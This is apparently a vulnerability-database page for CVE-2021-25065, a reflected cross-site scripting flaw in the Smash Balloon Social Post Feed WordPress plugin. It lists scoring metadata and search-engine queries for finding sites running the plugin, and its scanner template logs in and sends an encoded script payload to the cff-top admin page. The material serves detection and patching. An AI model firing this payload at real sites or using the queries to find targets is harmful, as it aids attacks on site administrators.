SecurityContext

CVE-2021-25065: Smash Balloon Social Post Feed < 4.1.1 - Authenticated Reflected Cross-Site Scripting

Classification

  • Cwe: CWE-79
  • Cvss score: 5.4
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
  • Epss score: 0.01077
  • Epss percentile: 0.65934
  • Cpe: cpe:2.3:a:smashballoon:smash_balloon_social_post_feed:*:*:*:*:*:wordpress:*:*

Metadata

  • Fofa-query: body=/wp-content/plugins/custom-facebook-feed/
  • Framework: wordpress
  • Max-request: 2
  • Product: smash_balloon_social_post_feed
  • Publicwww-query: /wp-content/plugins/custom-facebook-feed/
  • Shodan-query: http.html:/wp-content/plugins/custom-facebook-feed/
  • Vendor: smashballoon
  • Verified: yes

Products

ProductIndexedUrl
smashballoon:smash_balloon_social_post_feedyes/v1/products/smashballoon/smash_balloon_social_post_feed

Labels

  • Name: custom-facebook-feed - Reflected XSS
  • Impact: Attackers can execute malicious scripts in admin's browser, potentially leading to session hijacking or data theft.
  • Remediation: Sanitize and validate all user inputs in cff-top admin page, update to the latest plugin version.
  • Vulnerability type: reflected_xss
  • Vulnerability impact: client_script_exec
  • Requirement type: user_interaction
  • Requirements: Victim must visit a malicious link or interact with malicious content.
  • Labels source: projectdiscovery
  • From cve: CVE-2021-25065

```yaml

id: CVE-2021-25065

info:

name: Smash Balloon Social Post Feed < 4.1.1 - Authenticated Reflected Cross-Site Scripting

author: Harsh

severity: medium

description: |

The plugin was affected by a reflected XSS in custom-facebook-feed in cff-top admin page.

impact: |

An attacker can exploit this vulnerability to inject malicious scripts into web pages viewed by authenticated users, potentially leading to session hijacking, defacement, or theft of sensitive information.

remediation: Fixed in version 2.19.2

reference:

- https://wpscan.com/vulnerability/ae1aab4e-b00a-458b-a176-85761655bdcc

- https://wordpress.org/plugins/custom-facebook-feed/

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

cvss-score: 5.4

cve-id: CVE-2021-25065

cwe-id: CWE-79

epss-score: 0.01077

epss-percentile: 0.65934

cpe: cpe:2.3:a:smashballoon:smash_balloon_social_post_feed:*:*:*:*:*:wordpress:*:*

metadata:

verified: true

max-request: 2

vendor: smashballoon

product: smash_balloon_social_post_feed

framework: wordpress

shodan-query: http.html:/wp-content/plugins/custom-facebook-feed/

fofa-query: body=/wp-content/plugins/custom-facebook-feed/

publicwww-query: "/wp-content/plugins/custom-facebook-feed/"

tags: cve2021,cve,wpscan,wordpress,wp-plugin,xss,wp,authenticated,smashballoon,vuln

http:

- raw:

- |

POST /wp-login.php HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded

log={{username}}&pwd={{password}}&wp-submit=Log+In

- |

GET /wp-admin/admin.php?page=cff-top&cff_access_token=xox%3C%2Fscript%3E%3Cimg+src+onerror%3Dalert(document.domain)%3E&cff_final_response=true HTTP/1.1

Host: {{Hostname}}

matchers:

- type: dsl

dsl:

- 'status_code_2 == 200'

- 'contains(body_2, "<img src onerror=alert(document.domain)>")'

- 'contains(body_2, "custom-facebook-feed")'

condition: and

digest: 4b0a00483046022100d80cdfac8a7228039553b2a4e11ea10e10178ca3ab74bd7f63c3458b7dae75f3022100a2016c80b0c5b41c3a8ccbb7d27ba76dd4683c6112ef07fce2a26359bc33bc3a:922c64590222798bb761d5b6d8e72950

```